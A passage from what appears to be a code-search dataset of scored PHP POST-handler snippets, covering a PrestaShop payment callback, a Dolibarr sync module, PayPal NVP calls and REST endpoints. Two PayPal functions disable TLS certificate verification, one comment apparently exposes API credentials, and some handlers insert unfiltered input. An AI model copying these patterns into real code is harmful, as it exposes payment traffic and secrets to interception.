Customer($id_customer);\n } else {\n $customer = $this->createCustomer($ecster['customer']);\n }\n\n if ($ecsterOrder['idMethod'] === 'BANKID' || $ecsterOrder['idMethod'] === 'BANKID_MOBILE') {\n if (array_key_exists('recipient', $ecster)) {\n if ($id_address = $this->checkIfAddressExists($customer, $ecster['customer'])) {\n $this->ecsterCart->id_address_invoice = $id_address;\n } else {\n $this->createAddress($customer, $ecster['customer'], 'invoice');\n }\n if ($id_address = $this->checkIfAddressExists($customer, $ecster['recipient'])) {\n $this->ecsterCart->id_address_delivery = $id_address;\n } else {\n $this->createAddress($customer, $ecster['recipient'], 'shipping');\n }\n } else {\n if ($id_address = $this->checkIfAddressExists($customer, $ecster['customer'])) {\n Logger::addLog('id address: '.$id_address);\n $this->ecsterCart->id_address_delivery = $id_address;\n $this->ecsterCart->id_address_invoice = $id_address;\n } else {\n Logger::addLog('creating new address');\n $this->createAddress($customer, $ecster['customer'], 'invoice');\n $this->createAddress($customer, $ecster['customer'], 'shipping');\n }\n }\n }\n\n if ($ecster['idMethod'] === 'NAME') {\n if ($id_address = $this->checkIfAddressExists($customer, $ecster['recipient'])) {\n $this->ecsterCart->id_address_delivery = $id_address;\n $this->ecsterCart->id_address_invoice = $id_address;\n } else {\n $this->createAddress($customer, $ecster['recipient'], 'invoice');\n $this->createAddress($customer, $ecster['recipient'], 'shipping');\n }\n }\n\n $new_delivery_options = array();\n $new_delivery_options[(int)$this->ecsterCart->id_address_delivery] = $this->ecsterCart->id_carrier.',';\n $new_delivery_options_serialized = serialize($new_delivery_options);\n Db::getInstance()->update('cart', array(\n 'delivery_option' => pSQL($new_delivery_options_serialized)),\n 'id_cart='.(int)$this->ecsterCart->id\n );\n $this->ecsterCart->delivery_option = '';\n if ($this->ecsterCart->id_carrier > 0) {\n $this->ecsterCart->delivery_option = $new_delivery_options_serialized;\n }\n Db::getInstance()->update('cart_product', array('id_address_delivery' => pSQL($this->ecsterCart->id_address_delivery)), 'id_cart='.(int)$this->ecsterCart->id);\n $this->ecsterCart->getPackageList(true);\n $this->ecsterCart->id_customer = $customer->id;\n $this->ecsterCart->secure_key = $customer->secure_key;\n $this->ecsterCart->save();\n Logger::addLog('Saved cart');\n Db::getInstance()->update('cart', array('id_customer' => pSQL($customer->id)), 'id_cart='.(int)$this->ecsterCart->id);\n Db::getInstance()->update('cart', array('secure_key' => pSQL($customer->secure_key)), 'id_cart='.(int)$this->ecsterCart->id);\n Cache::clean('objectmodel_cart_'.$this->ecsterCart->id.'_0_0');\n $amount = (int)($ecsterOrder['amount']);\n $amount = (float)($amount/100);\n //validate order\n $cart = new Cart($this->ecsterCart->id);\n $this->module->validateOrder(\n $cart->id,\n Configuration::get('PS_OS_PAYMENT'),\n $amount,\n $this->module->displayName,\n $ecsterOrder['internalReference'],\n array(\n 'transaction_id' => $ecsterOrder['internalReference']\n ),\n null,\n false,\n $customer->secure_key\n );\n \n header('HTTP/1.1 200 OK', true, 200);\n exit;\n }\n } catch (Exception $e) {\n Logger::addLog('Ecster checkout callback error message: '.$e->getMessage().' and error code : '.$e->getCode());\n }\n }", "title": "" }, { "docid": "7aae55a436314571f0fdd1b0238251ff", "score": "0.5239139", "text": "public function index_post()\r\n {\r\n $input = $this->input->post(); \r\n $this->dbO->insert('TIPO_PROMOCION',$input);\r\n \r\n $this->response(['Item created successfully.'], REST_Controller::HTTP_OK);\r\n }", "title": "" }, { "docid": "2cb93c5ca00498f0bcdee7e65dfb4eb3", "score": "0.52365255", "text": "public function PPHttpPost($methodName_, $nvpStr_)\n {\n\n $this->environment=PAYPAL_PRO_ENV;\n// Set up your API credentials, PayPal end point, and API version.\n$API_UserName = urlencode(PAYPAL_PRO_API_UNAME); // set your spi username\n$API_Password = urlencode(PAYPAL_PRO_API_PWD); // set your spi password\n$API_Signature = urlencode(PAYPAL_PRO_API_SIG); // set your spi Signature\n\n$API_Endpoint = PAYPAL_PRO_API_URL;\nif(\"sandbox\" === $this->environment || \"beta-sandbox\" === $this->environment) {\n$API_Endpoint = \"https://api-3t.$this->environment.paypal.com/nvp\";\n}\n$version = urlencode(PAYPAL_PRO_API_VER);\n \n// Set the curl parameters.\n$ch = curl_init();\ncurl_setopt($ch, CURLOPT_URL, $API_Endpoint);\ncurl_setopt($ch, CURLOPT_VERBOSE, 1);\n \n// Turn off the server and peer verification (TrustManager Concept).\ncurl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);\ncurl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);\n \ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);\ncurl_setopt($ch, CURLOPT_POST, 1);\n \n// Set the API operation, version, and API signature in the request.\n$nvpreq = \"METHOD=$methodName_&VERSION=$version&PWD=$API_Password&USER=$API_UserName&SIGNATURE=$API_Signature$nvpStr_\";\n \n// Set the request as a POST FIELD for curl.\ncurl_setopt($ch, CURLOPT_POSTFIELDS, $nvpreq);\n \n// Get response from the server.\n$httpResponse = curl_exec($ch);\n \nif(!$httpResponse) {\nexit(\"$methodName_ failed: \".curl_error($ch).'('.curl_errno($ch).')');\n}\n \n// Extract the response details.\n$httpResponseAr = explode(\"&\", $httpResponse);\n \n$httpParsedResponseAr = array();\nforeach ($httpResponseAr as $i => $value) {\n$tmpAr = explode(\"=\", $value);\nif(sizeof($tmpAr) > 1) {\n$httpParsedResponseAr[$tmpAr[0]] = $tmpAr[1];\n}\n}\n \nif((0 == sizeof($httpParsedResponseAr)) || !array_key_exists('ACK', $httpParsedResponseAr)) {\nexit(\"Invalid HTTP Response for POST request($nvpreq) to $API_Endpoint.\");\n}\n \nreturn $httpParsedResponseAr;\n}", "title": "" }, { "docid": "08b763f50d6a182d8e359c757c053911", "score": "0.52228606", "text": "private function _processPostRequest() {\n if(!($postHandler = $this->input->post('handler'))) {\n return false;\n }\n\n require_once CPCORE . 'Libraries/PostRequest.php';\n if(!Framework::isValidPostToken($this->input->post('validationToken'), $this->input->post('constraints'), ORIGINAL_REQUEST_URI, $postHandler)) {\n PostRequest::addError(Config::getMessage(THERE_PROB_REQ_ACTION_COULD_COMPLETED_MSG));\n return false;\n }\n if(!$this->postHandler = Framework::validatePostHandler($postHandler, true)) {\n PostRequest::addError(Config::getMessage(THERE_PROB_REQ_ACTION_COULD_COMPLETED_MSG));\n return false;\n }\n\n //Get clickstream tag for current method if it exists and record the action\n $method = substr($postHandler, strrpos($postHandler, '/') + 1);\n if($clickstreamTag = $this->postHandler->clickstreamActionMapping[$method]) {\n $clickstream = new \\RightNow\\Hooks\\Clickstream();\n $clickstream->trackSession('page', $clickstreamTag);\n $this->_recordClickstreamActionToAcs($clickstreamTag);\n }\n\n $returnValue = $this->postHandler->{$method}();\n /* Enable unit tests */ if(func_num_args() === 1) return $returnValue;\n if(!$returnValue || !is_string($returnValue) || !($url = parse_url($returnValue))) {\n return false;\n }\n\n Framework::setLocationHeader($returnValue . (($url['host'] && $url['host'] !== Config::getConfig(OE_WEB_SERVER)) ? '' : Url::sessionParameter()));\n return true;\n }", "title": "" }, { "docid": "44d847bc9f20d90edd5ea02f93265980", "score": "0.5209175", "text": "public function postProcess()\n {\n\n // == update WS settings\n\n $btn_submit_acces_ws = Tools::getValue('btnSubmitAccesWS');\n if ($btn_submit_acces_ws) {\n\t\t\t$adress_action = Tools::getValue('adress');\n\t\t\t$wskey_action = Tools::getValue('WSkey');\n\t\t\t$login_action = Tools::getValue('login');\n\t\t\t$password_action = Tools::getValue('password');\n\t\t\t$trigram_action = Tools::getValue('trigram');\n if (!($trigram_action)) {\n $trigram_action = 'PTS'; // default trigram if empty\n }\n Configuration::updateValue('DOLIBARR_WS_ADRESS', $adress_action);\n Configuration::updateValue('DOLIBARR_WS_KEY', $wskey_action);\n Configuration::updateValue('DOLIBARR_WS_LOGIN', $login_action);\n Configuration::updateValue('DOLIBARR_WS_PASSWD', $password_action);\n Configuration::updateValue('DOLIBARR_WS_TRIGRAM', $trigram_action);\n $this->ws_trigram_value = $trigram_action;\n $this->_html .= '<div class = \"conf confirm\"><img src= \"../modules/prestashoptodolibarrpro/ok.gif\" alt = \"'\n\t\t\t\t\t\t\t.$this->l('OK').'\" /> '\n\t\t\t\t\t\t\t.$this->l('Settings updated, you can test the connection by clicking on the \"Test Webservice Acess\" button')\n\t\t\t\t\t\t\t.'</div>';\n\t\t\t}\n\n // == Webservice access test\n\n $btn_test_acces_ws = Tools::getValue('btnTestAccesWS');\n if ($btn_test_acces_ws) {\n\t\t\t$adress_action = Tools::getValue('adress');\n\t\t\t$wskey_action = Tools::getValue('WSkey');\n\t\t\t$login_action = Tools::getValue('login');\n\t\t\t$password_action = Tools::getValue('password');\n\t\t\t$trigram_action = Tools::getValue('trigram');\n if ($adress_action && $wskey_action && $login_action && $password_action) {\n Configuration::updateValue('DOLIBARR_WS_ADRESS', $adress_action);\n Configuration::updateValue('DOLIBARR_WS_KEY', $wskey_action);\n Configuration::updateValue('DOLIBARR_WS_LOGIN', $login_action);\n Configuration::updateValue('DOLIBARR_WS_PASSWD', $password_action);\n Configuration::updateValue('DOLIBARR_WS_TRIGRAM', $trigram_action);\n $this->ws_adress_value = $adress_action;\n $this->ws_key_value = $wskey_action;\n $this->ws_login_value = $login_action;\n $this->ws_passwd_value = $password_action;\n $this->ws_trigram_value = $trigram_action;\n }\n if ($this->endsWith($this->ws_adress_value, '/') == false) {\n $this->ws_adress_value = $this->ws_adress_value.'/';\n }\n $version_n = $this->WSVersion($this->ws_adress_value);\n\n $versionDoli = str_replace(\".\", \"\", $version_n['dolibarr']);\n if ($versionDoli >= 360) {\n $this->_html .= '<div class = \"conf confirm\"><img src= \"../modules/prestashoptodolibarrpro/ok.gif\" alt = \"'.$this->l('OK').'\" /> '\n\t\t\t\t\t\t\t\t.$this->l('Prestashop is linked with Dolibarr! ').'</div>';\n Configuration::updateValue('DOLIBARR_WS_ADRESS', $this->ws_adress_value);\n Configuration::updateValue('DOLIBARR_WS_ACCESS_OK', 'OK');\n $this->dolibarr_version = $versionDoli;\n Configuration::updateValue('DOLIBARR_VERSION', $versionDoli);\n $this->ws_accesss_ok = 'OK';\n } elseif ($version_n['result']['result_code'] == 'BAD_CREDENTIALS') {\n $this->_html .= '<div class = \"alert error\">'.$this->l('Bad credantials').'</div>';\n } elseif ($version_n['result']['result_code'] == 'BAD_VALUE_FOR_SECURITY_KEY') {\n $this->_html .= '<div class = \"alert error\">'.$this->l('Bad value for security key').'</div>';\n } else {\n $m = 'Dolibarr doesn\\'t respond, please check your Dolibarr\\'s URL and the comunication keys.'\n\t\t\t\t\t.'Then check if Soap is enable in the PHP configuration of your dolibarr\\'s server';\n $this->_html .= '<div class = \"alert error\">'.$this->l($m).'</div>';\n }\n }\n\n // == Export customers\n\n $btn_submit_export_client = Tools::getValue('btnSubmitExportClient');\n if ($btn_submit_export_client) {\n $tmsp_start = time();\n $import_client = $this->importClients(0, $tmsp_start);\n\n if ($import_client['result'] == 'OK') {\n if ($import_client['nbrMaxClient']) { //pas totalement importé\n $this->_html .= '<div class = \"conf warn\"><img src= \"../modules/prestashoptodolibarrpro/warning.png\" alt = \"OK\" /> '\n\t\t\t\t\t\t\t\t\t.$this->l('You have successfully exported').' '.$import_client['nbClientImported'].' '\n\t\t\t\t\t\t\t\t\t.$this->l('customer(s) on').' '.$import_client['nbClientTotal']\n\t\t\t\t\t\t\t\t\t.$this->l(', press Start again for exporting next customers').'</div>';\n } else {\n $this->_html .= '<div class = \"conf confirm\"><img src= \"../modules/prestashoptodolibarrpro/ok.gif\" alt = \"OK\" /> '\n\t\t\t\t\t\t\t\t\t.$import_client['nbClientImported'].' '.$this->l('customer(s) on').' '\n\t\t\t\t\t\t\t\t\t.$import_client['nbClientTotal'].' '.$this->l('exported').'</div>';\n }\n } else {\n $this->_html .= '<div class = \"conf confirm\"><img src= \"../modules/prestashoptodolibarrpro/ko.gif\" alt = \"KO\" /> '\n\t\t\t\t\t\t\t\t.$this->l('something went wrong').' : '.$import_client['reason'].'</div>';\n }\n }\n\n // == Reset export customer\n\n $btn_reset_export_client = Tools::getValue('btnResetExportClient');\n if ($btn_reset_export_client) {\n $reset_customers = $this->resetCustomers();\n\n if ($reset_customers) {\n $this->_html .= '<div class = \"conf confirm\"><img src= \"../modules/prestashoptodolibarrpro/ok.gif\" alt = \"OK\" /> '\n\t\t\t\t\t\t\t\t.$this->l('Reset on customers done').'</div>';\n } else {\n $this->_html .= '<div class = \"conf confirm\"><img src= \"../modules/prestashoptodolibarrpro/ko.gif\" alt = \"KO\" /> '\n\t\t\t\t\t\t\t\t.$this->l('something went wrong').'</div>';\n }\n }\n\n // == Export products\n\n $btn_submit_export_product = Tools::getValue('btnSubmitExportProduct');\n if ($btn_submit_export_product) {\n $tmsp_start = time();\n $result_product = $this->importProduits(0, $tmsp_start);\n\n if ($result_product['result'] == 'OK') {\n if ($result_product['nbrMaxProduct']) { // not fully imported\n $this->_html .= '<div class = \"conf warn\"><img src= \"../modules/prestashoptodolibarrpro/warning.png\" alt = \"OK\" /> '\n\t\t\t\t\t\t\t\t\t.$this->l('You have successfully exported').' '.$result_product['nbProductImported'].' '\n\t\t\t\t\t\t\t\t\t.$this->l('product(s) on').' '.$result_product['nbProductTotal']\n\t\t\t\t\t\t\t\t\t.$this->l(', press Start again for exporting next products').'</div>';\n } else {\n $this->_html .= '<div class = \"conf confirm\"><img src= \"../modules/prestashoptodolibarrpro/ok.gif\" alt = \"OK\" /> '\n\t\t\t\t\t\t\t\t\t.$result_product['nbProductImported'].' '.$this->l('product(s) on').' '\n\t\t\t\t\t\t\t\t\t.$result_product['nbProductTotal'].' '.$this->l('exported').'</div>';\n }\n } else {\n $this->_html .= '<div class = \"conf confirm\"><img src= \"../modules/prestashoptodolibarrpro/ko.gif\" alt = \"KO\" /> '\n\t\t\t\t\t\t\t\t.$this->l('something went wrong').' : '.$result_product['reason'].'</div>';\n }\n }\n\n // == Reset export products\n\n $btn_reset_export_product = Tools::getValue('btnResetExportProduct');\n if ($btn_reset_export_product) {\n $reset_products = $this->resetProducts();\n\n if ($reset_products) {\n $this->_html .= '<div class = \"conf confirm\"><img src= \"../modules/prestashoptodolibarrpro/ok.gif\" alt = \"OK\" /> '\n\t\t\t\t\t\t\t\t.$this->l('Reset on products done').'</div>';\n } else {\n $this->_html .= '<div class = \"conf confirm\"><img src= \"../modules/prestashoptodolibarrpro/ko.gif\" alt = \"KO\" /> '\n\t\t\t\t\t\t\t\t.$this->l('something went wrong').'</div>';\n }\n }\n\n // == Export invoices\n\n $btn_submit_import_invoice = Tools::getValue('btnSubmitImportInvoice');\n if ($btn_submit_import_invoice) {\n $this->logInFile('--Export invoices--');\n $tmsp_start = time();\n\n $result_invoice = $this->importFacturesOrCommandes(0, $tmsp_start, false, true);\n $this->logInFile('FIN export factures : '.print_r($result_invoice, true));\n if ($result_invoice['result'] == 'OK') {\n if ($result_invoice['nbrMaxOrder']) { // not fully imported\n $this->_html .= '<div class = \"conf confirm\"><img src= \"../modules/prestashoptodolibarrpro/ok.gif\" alt = \"'.$this->l('Ok').'\" /> '\n\t\t\t\t\t\t\t\t\t.$this->l('You have successfully exported').' '.$result_invoice['nbOrderOk'].' '\n\t\t\t\t\t\t\t\t\t.$this->l('invoice(s) on').' '.$result_invoice['nbOrderTotal']\n\t\t\t\t\t\t\t\t\t.$this->l(', press Start again for exporting next invoices').'</div>';\n } else {\n $this->_html .= '<div class = \"conf confirm\"><img src= \"../modules/prestashoptodolibarrpro/ok.gif\" alt = \"'\n\t\t\t\t\t\t\t\t\t.$this->l('Ok').'\" /> '.$result_invoice['nbOrderOk'].' '.$this->l('invoice(s) on').' '\n\t\t\t\t\t\t\t\t\t.$result_invoice['nbOrderTotal'].' '.$this->l('exported').'</div>';\n }\n } else {\n $this->_html .= '<div class = \"conf confirm\"><img src= \"../modules/prestashoptodolibarrpro/ko.gif\" alt = \"KO\" /> '\n\t\t\t\t\t\t\t\t.$this->l('something went wrong').' : '.(is_array($result_invoice['reason']) ? print_r($result_invoice['reason'],true) : $result_invoice['reason']).'</div>';\n }\n }\n\n // == Reset export invoices\n\n $btnreset_export_invoice = Tools::getValue('btnResetExportInvoice');\n if ($btnreset_export_invoice) {\n $resetinvoices = $this->resetInvoices();\n\n if ($resetinvoices) {\n $this->_html .= '<div class = \"conf confirm\"><img src= \"../modules/prestashoptodolibarrpro/ok.gif\" alt = \"OK\" /> '\n\t\t\t\t\t\t\t\t.$this->l('Reset on invoices done').'</div>';\n } else {\n $this->_html .= '<div class = \"conf confirm\"><img src= \"../modules/prestashoptodolibarrpro/ko.gif\" alt = \"KO\" /> '\n\t\t\t\t\t\t\t\t.$this->l('something went wrong').'</div>';\n }\n }\n\n // == Export orders\n\n $btn_submit_import_order = Tools::getValue('btnSubmitImportOrder');\n if ($btn_submit_import_order) {\n $this->logInFile('--Export orders--');\n $tmsp_start = time();\n\n $result_order = $this->importFacturesOrCommandes(0, $tmsp_start, true, false);\n $this->logInFile('export orders/invoices result : '.print_r($result_order, true));\n if ($result_order['result'] == 'OK') {\n if ($result_order['nbrMaxOrder']) { // not fully imported\n $this->_html .= '<div class = \"conf confirm\"><img src= \"../modules/prestashoptodolibarrpro/ok.gif\" alt = \"'.$this->l('Ok').'\" /> '\n\t\t\t\t\t\t\t\t\t.$this->l('You have successfully exported').' '.$result_order['nbOrderOk'].' '.$this->l('order(s) on').' '\n\t\t\t\t\t\t\t\t\t.$result_order['nbOrderTotal'].$this->l(', press Start again for exporting next orders').'</div>';\n } else {\n $this->_html .= '<div class = \"conf confirm\"><img src= \"../modules/prestashoptodolibarrpro/ok.gif\" alt = \"'\n\t\t\t\t\t\t\t\t\t.$this->l('Ok').'\" /> '.$result_order['nbOrderOk'].' '\n\t\t\t\t\t\t\t\t\t.$this->l('order(s) on').' '.$result_order['nbOrderTotal'].' '\n\t\t\t\t\t\t\t\t\t.$this->l('exported').'</div>';\n }\n } else {\n $this->_html .= '<div class = \"conf confirm\"><img src= \"../modules/prestashoptodolibarrpro/ko.gif\" alt = \"KO\" /> '\n\t\t\t\t\t\t\t\t.$this->l('something went wrong').': '.$result_order['reason'].'</div>';\n }\n }\n\n // == Reset export orders\n\n $btn_reset_export_order = Tools::getValue('btnResetExportOrder');\n if ($btn_reset_export_order) {\n $resetorders = $this->resetOrders();\n if ($resetorders) {\n $this->_html .= '<div class = \"conf confirm\"><img src= \"../modules/prestashoptodolibarrpro/ok.gif\" alt = \"OK\" /> '\n\t\t\t\t\t\t\t\t.$this->l('Reset on orders done').'</div>';\n } else {\n $this->_html .= '<div class = \"conf confirm\"><img src= \"../modules/prestashoptodolibarrpro/ko.gif\" alt = \"KO\" /> '\n\t\t\t\t\t\t\t\t.$this->l('something went wrong').'</div>';\n }\n }\n\n // == Export categories\n\n $btn_submit_import_category = Tools::getValue('btnSubmitImportCategory');\n if ($btn_submit_import_category) {\n $this->logInFile('--Export categories--');\n $result_category = $this->importCategories();\n if ($result_category['result']['result_code'] == 'OK') {\n $this->_html .= '<div class = \"conf confirm\"><img src= \"../modules/prestashoptodolibarrpro/ok.gif\" alt = \"'.$this->l('Ok').'\" /> '\n\t\t\t\t\t\t\t\t.$this->l('You have successfully exported your categories').'</div>';\n } else {\n $this->_html .= '<div class = \"conf confirm\"><img src= \"../modules/prestashoptodolibarrpro/ko.gif\" alt = \"KO\" /> '\n\t\t\t\t\t\t\t\t.$this->l('something went wrong').' : '.$result_category['result']['result_label'].'</div>';\n }\n }\n\n // == checking synchronization\n\n $btn_submit_synchro = Tools::getValue('btnSubmitSynchro');\n if ($btn_submit_synchro) {\n $warehouse = Tools::getValue('warehouse');\n if ($warehouse) {\n Configuration::updateValue('DOLIBARR_WS_WAREHOUSE', $warehouse);\n $this->ws_warehouse_value = $warehouse;\n }\n $check_synch_customer = Tools::getValue('checkSynchCustomer');\n $check_synch_products = Tools::getValue('checkSynchProducts');\n $check_synch_invoice = Tools::getValue('checkSynchInvoice');\n $check_synch_stock = Tools::getValue('checkSynchStock');\n $check_synch_order = Tools::getValue('checkSynchOrder');\n $check_synch_category = Tools::getValue('checkSynchCategory');\n $check_synch_status = Tools::getValue('checkSynchStatus');\n\n $this->loadOrderStates();\n\n //echo _var_export($_POST,'$_POST')._var_export($order_states,'$order_states');die();\n $this->logInFile('check synchro, prestashop order states: '.print_r($this->order_states, true));\n\n foreach ($this->order_states as $x => $order_state) {\n $get_id = Tools::getValue('select_'.$order_state['id_order_state']);\n //update orderstate\n $query = 'UPDATE '._DB_PREFIX_.'order_state\n SET id_order_state_doli = '.(int)$get_id.'\n WHERE id_order_state = '.(int)$order_state['id_order_state'];\n if (!Db::getInstance()->execute($query)) {\n $this->logInFile('db error updating id_order_state_doli (='.$get_id.') in the order_state table for id_order_state='.$order_state['id_order_state']);\n }\n $this->order_states[$x]['id_order_state_doli'] = $get_id;\n }\n\n Configuration::updateValue('DOLIBARR_IS_SYNCH_CUSTOMER', $check_synch_customer);\n Configuration::updateValue('DOLIBARR_IS_SYNCH_PRODUCT', $check_synch_products);\n Configuration::updateValue('DOLIBARR_IS_SYNCH_INVOICE', $check_synch_invoice);\n Configuration::updateValue('DOLIBARR_IS_SYNCH_STOCK', $check_synch_stock);\n Configuration::updateValue('DOLIBARR_IS_SYNCH_ORDER', $check_synch_order);\n Configuration::updateValue('DOLIBARR_IS_SYNCH_CATEGORY', $check_synch_category);\n Configuration::updateValue('DOLIBARR_IS_SYNCH_STATUS', $check_synch_status);\n\n $this->is_checked_synch_customer = $check_synch_customer;\n $this->is_checked_synch_product = $check_synch_products;\n $this->is_checked_synch_invoice = $check_synch_invoice;\n $this->is_checked_synch_stock = $check_synch_stock;\n $this->is_checked_synch_order = $check_synch_order;\n $this->is_checked_synch_category = $check_synch_category;\n $this->is_checked_synch_status = $check_synch_status;\n\n if ($this->is_checked_synch_customer || $this->is_checked_synch_product || $this->is_checked_synch_invoice\n\t\t\t\t|| $this->is_checked_synch_order || $this->is_checked_synch_category || $this->is_checked_synch_status) {\n\n $this->_html .= '<div class = \"conf confirm\"><img src= \"../modules/prestashoptodolibarrpro/ok.gif\" alt = \"\" /> ';\n\n if ($this->is_checked_synch_customer) $this->_html .= '<br>'.$this->l('Customers are synchronised with Dolibarr');\n if ($this->is_checked_synch_product) $this->_html .= '<br>'.$this->l('Products are synchronised with Dolibarr');\n if ($this->is_checked_synch_stock) $this->_html .= '<br>'.$this->l('Products stocks are synchronised with Dolibarr');\n\n if ($this->is_checked_synch_invoice) $this->_html .= '<br>'.$this->l('Invoices are synchronised with Dolibarr');\n if ($this->is_checked_synch_order) $this->_html .= '<br>'.$this->l('Orders are synchronised with Dolibarr');\n if ($this->is_checked_synch_category) $this->_html .= '<br>'.$this->l('Categories are synchronised with Dolibarr');\n if ($this->is_checked_synch_status) $this->_html .= '<br>'.$this->l('Status are synchronised with Dolibarr');\n\n $this->_html .= '</div>';\n\n } else {\n $this->_html .= '<div class = \"alert warning\">'.$this->l('You have nothing checked').'</div>';\n }\n }\n }", "title": "" }, { "docid": "6e98ae8015a28b75797552eda830e2a4", "score": "0.52075326", "text": "public function publishMessage($message_details)\n {\n \textract($message_details);\n\n \t$data_obj = $this->getJsonMessage($url, $request_type, $access_token, $method_name, $data);\n \t\n \t$token = $this->getMessageToken();\n\t\n \t$couch_message = $this->insertMessageToCouch($token, $data_obj);\n\t\n\t$logger_object = json_encode(array(\"url\"=>$url, \"request_type\"=>$request_type, \"method_name\"=>$method_name, \"parameters\"=>$data));\n\n\t$this->logger->logInfo(\"Token : \".$token.\" => Inserted to couch => with data =>\", $logger_object);\n \t//message that has to be sent to Queue\n\t$message = json_encode(array(\"token\" => $token, \"message\" => $couch_message));\n\t\n\tif($this->insertMessageToQueue(\"pangea\", $account_id, $message))\n\t{\n\t\t$this->logger->logInfo(\"Token : \".$token.\" => Inserted to queue => with message =>\", $message);\n\t\treturn $token;\t\t\t\n\t}\t\n\telse\n\t\treturn null;\n\n }", "title": "" }, { "docid": "ee5d4d8638e1d14f9a4816e8afcfa85d", "score": "0.51955765", "text": "function post_request_func ( $request ){\n\t\n\t// You can access parameters via direct array access on the object:\n \t// $param = $request['id'];\n \n // Or via the helper method:\n\t// $param2 = $request->get_param();\n \n // You can get the combined, merged set of parameters:\n // $parameters = $request->get_params();\n \n // The individual sets of parameters are also available, if needed:\n // $parameters = $request->get_url_params();\n // $parameters = $request->get_query_params();\n // $parameters = $request->get_body_params();\n // $parameters = $request->get_json_params();\n // $parameters = $request->get_default_params();\n\t\n\t$body = $request->get_body_params();\n\t\n\t$vorname = sanitize_text_field($body[\"Vorname\"]);\n\t$name = sanitize_text_field($body[\"Nachname\"]);\n\t$geschlecht = sanitize_text_field($body[\"Geschlecht\"]);\n\t$geburtsdatum = sanitize_text_field($body[\"Geburtsdatum\"]);\n\t\n\t// Daten in Datenbank einfügen\n\t/*\n\tglobal $wpdb;\n\t$table = $wpdb->prefix.'test1';\n\t$data = array(\n\t\t'Vorname' => $vorname,\n\t\t'Nachname' => $name,\n\t\t'Geschlecht' => $geschlecht,\n\t\t'Geburtstag' => $geburtsdatum\n\t);\n\t$format = array('%s','%s','%s', '%s');\n\t$wpdb->insert($table,$data,$format);\n\t$my_id = $wpdb->insert_id;\n\t*/\n\n\treturn new WP_REST_Response(\"Erfolg\", 200 );\n}", "title": "" }, { "docid": "968bc2b005e8847ac459b661c89b303a", "score": "0.51886433", "text": "function PPHttpPost($methodName_, $nvpStr_) {\n\tglobal $environment;\n\t// Set up your API credentials, PayPal end point, and API version.\n\t$API_UserName = urlencode('$business'); //ssample786-facilitator_api1.gmail.com\n\t$API_Password = urlencode('$password');//1390827598\n\t$API_Signature = urlencode('$signature');//AsAjodq-NintJaGeBInED55y06TuA21h.6m4U0g08qo3xRzIf2wfUBPJ\n\t$API_Endpoint = \"https://api-3t.paypal.com/nvp\";\n\tif(\"sandbox\" === $environment || \"beta-sandbox\" === $environment) {\n\t\t$API_Endpoint = \"https://api-3t.$environment.paypal.com/nvp\";\n\t}\n\t$version = urlencode('51.0');\n\t// Set the curl parameters.\n\t$ch = curl_init();\n\tcurl_setopt($ch, CURLOPT_URL, $API_Endpoint);\n\tcurl_setopt($ch, CURLOPT_VERBOSE, 1);\n\t// Turn off the server and peer verification (TrustManager Concept).\n\tcurl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);\n\tcurl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);\n\tcurl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);\n\tcurl_setopt($ch, CURLOPT_POST, 1);\n\t// Set the API operation, version, and API signature in the request.\n\t$nvpreq = \"METHOD=$methodName_&VERSION=$version&PWD=$API_Password&USER=$API_UserName&SIGNATURE=$API_Signature$nvpStr_\";\n\t// Set the request as a POST FIELD for curl.\n\tcurl_setopt($ch, CURLOPT_POSTFIELDS, $nvpreq);\n\t// Get response from the server.\n\t$httpResponse = curl_exec($ch);\n\tif(!$httpResponse) {\n\t\texit(\"$methodName_ failed: \".curl_error($ch).'('.curl_errno($ch).')');\n\t}\n\t// Extract the response details.\n\t$httpResponseAr = explode(\"&\", $httpResponse);\n\t$httpParsedResponseAr = array();\n\tforeach ($httpResponseAr as $i => $value) {\n\t\t$tmpAr = explode(\"=\", $value);\n\t\tif(sizeof($tmpAr) > 1) {\n\t\t\t$httpParsedResponseAr[$tmpAr[0]] = $tmpAr[1];\n\t\t}\n\t}\n\tif((0 == sizeof($httpParsedResponseAr)) || !array_key_exists('ACK', $httpParsedResponseAr)) {\n\t\texit(\"Invalid HTTP Response for POST request($nvpreq) to $API_Endpoint.\");\n\t}\n\treturn $httpParsedResponseAr;\n}", "title": "" }, { "docid": "114ec3d74f41c30900edc913f7e6e4bf", "score": "0.5186126", "text": "function submitPost(){\n //TODO FINISH\n }", "title": "" }, { "docid": "646bf6de1f5c763511030e4332d0c802", "score": "0.51850295", "text": "public function postCreate()\n\t{\n\t}", "title": "" }, { "docid": "46723b309ffb4abe1337861aec0ab9a8", "score": "0.51782435", "text": "public function testPostingAPIShipCrossborderPosting()\n {\n\n }", "title": "" }, { "docid": "c34ab5c6d22a90e84744054db1a1abb8", "score": "0.51609755", "text": "public function createShipment()\n {\n //@todo Waiting RM support answer.\n }", "title": "" }, { "docid": "a1c33be716a64e8a042161f079e28894", "score": "0.5152316", "text": "abstract public function onPost();", "title": "" }, { "docid": "45a320560b79338802a4a5b51c3dd2d0", "score": "0.51471853", "text": "public function index_post()\n {\n $input = $this->input->post();\n $this->db->set($input);\n $res = $this->ReservationEquipment_model->insert($input);\n if($res) $this->response(['Created successfully.'], REST_Controller::HTTP_OK);\n else $this->response(NULL, REST_Controller::HTTP_BAD_REQUEST);\n }", "title": "" }, { "docid": "aa47d7df9a4c3117308996b34fe5c98d", "score": "0.5142744", "text": "public function postApplications6d917118SimplePush()\n {\n return '{\n \"id\": \"22debd80-04ab-4213-ac6f-18d6c0c106fe\",\n \"name\": \"A Simplepush variant\",\n \"description\": \"And a description on the variant\",\n \"variantID\": \"13f663bc-6321-4fc0-b8e1-77429d6c180c\",\n \"secret\": \"ed92f308-67ae-4315-b7d7-57b0c206574d\",\n \"developer\": \"user\",\n \"production\": false,\n \"type\": \"simplePush\"\n}';\n }", "title": "" }, { "docid": "4d99b848ee273c4a1a82f57b24c3423d", "score": "0.5134388", "text": "public function testOutboundInitCampaignPost()\n {\n }", "title": "" }, { "docid": "881fe1e9cf30a21afe56d6f8557795d8", "score": "0.5133778", "text": "public function add_post(){\n\n\t\t$member_id = $this->post('member_id');\n\t\t$gps_lat = $this->post('gps_lat');\n\t\t$gps_lang = $this->post('gps_lang');\n\n\t\tif( $member_id == '' || $gps_lat == '' || $gps_lang == '' 